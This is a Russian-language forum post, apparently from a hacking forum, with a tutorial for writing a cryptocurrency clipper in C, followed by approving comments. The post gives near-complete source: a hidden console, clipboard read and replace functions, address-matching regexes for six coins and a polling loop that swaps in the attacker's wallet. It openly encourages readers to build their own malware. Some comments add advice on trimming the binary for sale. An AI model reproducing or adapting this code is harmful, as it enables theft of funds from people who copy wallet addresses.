Загрузка...
Author's article Clipper in 30 minutes or why you should not buy clippers
  1. jgsjagejwgjwf
    Заранее говорю - в этой статье не будет разбора продукта, я лишь расскажу о ситуации с клипперами в наше время и почему не стоит брать готовые клипперы.
    На рынок выходит новый продукт - Allcome. Стоимость - 25$/месяц, 220$/навсегда.
    По словам ТС, клиппер написан на C++ с использованием STL.
    [IMG] 

    [IMG] 
    Я не буду говорить о том, что продукт хороший или плохой, так как не использовал его и не могу заявлять что-либо. Скажу лишь о том, что судя по отзывам (25 отзывов за 3 недели), продажи у продукта идут очень даже хорошо. А теперь покажу, что задача написания своего клиппера не так сложна и это смогут сделать многие люди, особенно имевшие дело с копипастом исходников в открытом доступе.
    Для начала:

    Как устроен клиппер

    Давайте разберемся, что вообще есть клиппер. Клиппер - вредоносная программа, заменяющая криптоадреса в буфере обмена на адреса злоумышленника, дабы жертва во время отправки монет отправила их к злоумышленнику.
    По этому описанию накидываем схему работы:
    [IMG] 
    Выглядит достаточно просто. Разбираем каждый блок -
    Получение и подмена буфера обмена может быть реализована через любую библиотеку, работающую с winapi на любом языке.
    Как же проверять, является ли текст адресом?
    Ответ - регулярные выражения (regex). Что это?
    Википедия: 
    Регулярные выражения (англ. regular expressions) — используемый в компьютерных программах, работающих с текстом, формальный язык поиска и осуществления манипуляций с подстроками в тексте, основанный на использовании метасимволов (символов-джокеровангл. wildcard characters). Для поиска используется строка-образец (англ. pattern, по-русски её часто называют «шаблоном», «маской»), состоящая из символов и метасимволов и задающая правило поиска. Для манипуляций с текстом дополнительно задаётся строка замены, которая также может содержать в себе специальные символы.
    Для чайников - регулярные выражения это формальный язык, благодаря которому можно проверять соответствие текста определенным критериям - длина, набор букв и так далее.
    Почитать подробнее о них можно здесь. Проверка на соответствие происходит по паттернам (англ. pattern, у нас обычно используется термин "шаблон"). Паттерны можно спокойно найти в интернете по запросу "*крипта* address regex".
    Теперь я покажу на своем примере, что написать свой клиппер значительно проще, чем вы думаете.

    Написание клиппера

    Я буду писать на C, его можно написать хоть на питоне, но не рекомендуется.
    Создаем проект в Visual Studio, в нем создаем главный файл, я назвал его main.c.

    Так как в стандартной библиотеке C нет библиотеки для регулярок, я буду использовать до невозможности сырую, но единственную и компактную библиотеку tiny-regex-c. Скачиваем re.c и re.h, импортируем их в проект.

    Импортируем нужные библиотеки в main.c и скрываем консоль через ключевые слова для компилятора (pragma):
    Code
    #include "re.h"
    #include <windows.h>
    #pragma comment(linker, "/SUBSYSTEM:windows /ENTRY:mainCRTStartup")
    Пишем функции для получения и подмены буфера обмена:

    Code
    char* getclipboard()
    {
        static HANDLE clip;
        if (OpenClipboard(NULL))
        {
            clip = GetClipboardData(CF_TEXT);
            CloseClipboard();
        }
        return (char*)clip;
    }

    void setclipboard(char* text)
    {
        HGLOBAL global = GlobalAlloc(GMEM_FIXED, strlen(text) + 1);
        memcpy(global, text, strlen(text));
        if (OpenClipboard(NULL))
        {
            EmptyClipboard();
            SetClipboardData(CF_TEXT, global);
            CloseClipboard();
        }
    }
    Создаем структуру для кошельков, она позволит без сложностей добавлять новые кошельки в клиппер (а с помощью регулярок, можно будет добавить хоть подмену ссылок оплаты).

    Code
    typedef struct crypto {
        char* ptn;
        char* address;
    };
    Основная функция main. Создаем в ней переменные с нашими кошельками:

    Code
    const char* btcadr = "";
        const char* segwitadr = "";
        const char* ethadr = "";
        const char* ltcadr = "";
        const char* xrpadr = "";
        const char* dogeadr = "";
    Создаем структуры для кошельков и объединяем их в один список. Переменная ptn - паттерн regex, переменная address - адрес, который будет подменяться.
    У меня будет 5 криптовалют - Bitcoin (+SegWit адреса (bc1q)), Ethereum, Litecoin, Ripple, Dogecoin.

    Code
        struct crypto btc = { .ptn = "^[13][a-km-zA-HJ-NP-Z1-9]*$",                .address = btcadr }; // фиксированная длина не поддерживается в tiny regex
        struct crypto segwit = { .ptn = "^bc1q[a-zA-HJ-NP-Z0-9]*$",                .address = segwitadr }; // на p2pkh и p2wpkh разные регулярки, так как изменение легаси адреса на сегвит (bc1q) будет заметно
        struct crypto eth = { .ptn = "^0x[a-fA-F0-9]*$",                        .address = ethadr };
        struct crypto ltc = { .ptn = "^[LM3][a-km-zA-HJ-NP-Z1-9]*$",            .address = ltcadr };
        struct crypto xrp = { .ptn = "^r[0-9a-zA-Z]*$",                            .address = xrpadr };
        struct crypto doge = { .ptn = "^D[5-9A-HJ-NP-U][1-9A-HJ-NP-Za-km-z]*$",    .address = dogeadr };


        struct crypto all[6] = { btc, segwit, eth, ltc, xrp, doge }; // где 6 - количество сервисов
    В регулярных выражениях стоит нефиксированное (*) число повторов. Это не так безопасно, так как, скажем, текст 1abc подойдет по регулярке и будет подменен. Используется из-за того, что в tiny-regex-c нельзя прописать фиксированное количество повторов, во всех языках где это поддерживается, призываю ставить фиксированное количество повторов, соответствующее типу адреса.
    Основной цикл:

    Code
        while (1) {
            char* clipdata = getclipboard(); // получение буфера обмена
            if (clipdata != NULL) { // если в буфере что-то есть
                for (int i = 0; i < 6; i++) { // цикл из всех типов кошельков, где 6 - количество сервисов
                    int matchlen;
                    int match = re_match(all[i].ptn, clipdata, &matchlen); // проверка, является ли текст в буфере соответствующим адресом
                    if (match != -1) { // если является, подмена буфера обмена на заданный в коде адрес
                        setclipboard(all[i].address);
                    }
                }
            }
            Sleep(50); // чтобы не грузило проц, после каждой проверки сон на 0.05 сек
        }
    В комментариях прописал, за что отвечает каждая команда.

    На написание этого клиппера у меня ушло ~полчаса. Всего 65 строк, итоговый стаб весит 12.5кб.
    Добавлять подмену других адресов по регулярке можно таким же образом, как добавлены кошельки выше. Отправку информации о ПК и прочую херню может впаять любой желающий, при наличии гугла.
    Исходники - тык

    Итоги
    Написать свой клиппер может любой желающий, для людей, не умеющих в кодинг в интернете лежит множество исходников, благодаря которым затраты на не очень добросовестных кодеров сокращаются в разы.
    С самописным клиппером вы будете уверены, что ничего левого не запускается и подмена идёт именно на ваш адрес. Вы сможете добавить/поменять что угодно в любой момент. Ваш клиппер будет исключительно ваш и исключительно в ваших руках.
    Спасибо за прочтение.
     

Comments

    1. MistaIns
      MistaIns Nov 30, 2021 Banned 2774 Mar 16, 2021
      Крепкая статья, спасибо
       
      1. backdoortp
        F1shka1, ну так дай ссылку на оригинал, раз это копипаст)
      2. backdoortp
      3. backdoortp
    2. hwpo
      Спасибо большое.
      С большой долей вероятности я этим заниматься не будут, но автор однозначно молодец.
       
    3. lender
      lender Nov 30, 2021 5343 Jul 25, 2019
      Разобрал по фактам. Всегда было уважение к тебе на форуме, а сейчас оно стало более обоснованным)
       
    4. mar1kk
      mar1kk Nov 30, 2021 2065 Apr 8, 2021
      дядь спасибо , пойду пендосам за 500 баксов впаривать :pepejew:
       
    5. DRY
      DRY Nov 30, 2021 t.me/x3080 уарсу делаю 840 Nov 29, 2020
      Хороший ты человек, респект теме
       
    6. ImRazen
      Вообще да, на гитхабе есть огромное количество исходников из которых при минимальных знаниях можно собрать свой софт типа этого, а если посидеть вечерком - допилить нужный функционал. Но большинству проще купить готовый продукт, поэтому кодеры без еды не останутся. За тему +rep
      там много отзывов от тех, кто бесплатно получил софт на день :peka:
       
      1. backdoortp
        ImRazen, по своему опыту скажу, что отзывы пишет меньше 1/10 от всех покупателей
      2. Работяга_неактив621235
        @backdoortp, ну так те кто получили софт за отзыв, обязаны оставить отзыв)
      3. хайбанк
        ImRazen, чутка здесь чутка там допилить, и ботнет готов
    7. Traf1er
      Traf1er Nov 30, 2021 Banned 0 Sep 12, 2021
      Харооош
       
    8. violvalyaj
      violvalyaj Nov 30, 2021 отработка ***** zelenka.guru/threads/3213962/ 23 Oct 14, 2021
      годно
       
    9. Hypocrite
      Hypocrite Nov 30, 2021 Murder me slowly 14,777 Aug 8, 2017
      @backdoortp, красиво описал и рассказал все, считаю заслуженно проделанная работа достойна Авторки
      +rep:flexing_parrot:
       
    10. Sheker
      Sheker Nov 30, 2021 изменить статус 1357 Apr 28, 2019
      по красоте
       
    11. wDude
      wDude Nov 30, 2021 Боюсь быть не там и не тем. 3667 Aug 14, 2017
      Хорошая статья, как и писал давно в какой-то теме, Клиппер - самый лёгкий вирус, который можно написать
       
    12. 6aHguT_6nAH
      Лайк однозначно, +rep
       
    13. lonely_femboy
      lonely_femboy Dec 1, 2021 сыграй мне реквием 228 Feb 21, 2020
      Авторку, однозначно.
       
    14. Replacer
      Replacer Dec 1, 2021 ARTIFICIAL SUICIDE 99 Jul 21, 2021
      Ну, от того же самого CRT по хорошему лучше избавляться, ибо он накидывает так-то неплохо веса в конечный PE (даже на релиз сборке без дебаг-символов/.pdb). Большинство функций из CRT можно реализовать самому, тот же memcpy, к примеру:
      C
      void memcpy(void *dest, const void *src, size_t count) {
      volatile int i = 0;
      for(; i <= count; i++) {
      ((BYTE *)dest)[i] = ((BYTE *)src)[i];
      }
      }
      Но это если на серьезный маркет когда-нибудь выйдешь, там ценят чистую сишечку без стандартного рантайма.
      Насколько мне известно, у GlobalAlloc под капотом лежит тот же HeapAlloc. Отпиши, если ошибаюсь. А вообще забавно было увидеть функцию из "эры 16-бит" :)
      Также, желательно использовать переопределения стандартных типов данных от Майков, тот же указатель на символьный тип можно было записать как PWCHAR/PCHAR, но эт больше придирка, скорее всего.

      Будет интересно, если продолжишь этот проект, хех
       
      1. Replacer
        @backdoortp, так же заметил, когда со своим трешгеном возился, что инициализатор CRT ломает пошифрованные билды. Но эт либо я наговнокодил, либо что-то было в самом бинаре, что мешало его работе.
      2. backdoortp
        Replacer, где-то читал о том, что crt де-факто является враппером к апи различных осей, не значит ли это, что по сути использование crt должно наоборот улучшать работу на разных версиях и сборках винды, так как подстраивается под их апи?
      3. Replacer
        @backdoortp,
        Немного не понял, что подразумеваешь под "различными осями". Семейство NT: 10, 8, 7, XP и т.д?
        Не уверен, что CRT конкретно подстраивается под Win32/NTAPI. CRT и Win32/etc. предоставляются разными модулями. Тут я мало что могу сказать.
    15. id560251956
      id560251956 Dec 1, 2021 33 May 1, 2020
      Прочитал нихуя не понял
      Но это какой то пиздец
      Автор красавец 100%
       
    16. Ejrjejejej
      Ejrjejejej Dec 2, 2021 Лучший бомбер — zelenka.guru/threads/2706029 68 Oct 26, 2021
      Я же надеюсь статья написана для образовательной деятельности и защиты от мошенников? Мы же не на каком-то черном форуме сидим :povezlo:
       
      1. id560251956
        Ejrjejejej, глупо такие вопросы задавать
    17. levsharik
      levsharik Dec 6, 2021 4 May 24, 2021
      Автор, спасибо за такую полезную инфу, много нового узнал для себя:claps::finger_up:
       
    18. Kotori_inactive4226386
      Так в паблике много клиперов, нахуй их самому делать, статья бесполезная
       
      1. harrypotter_inactive4146284
        Kotori_inactive4226386, чтобы твой пароль от майнкрафта не улетел васе из 9 класса
      2. Hector777
    19. 6ReD6DeViL6
      @backdoortp, годно
       
Loading...
Top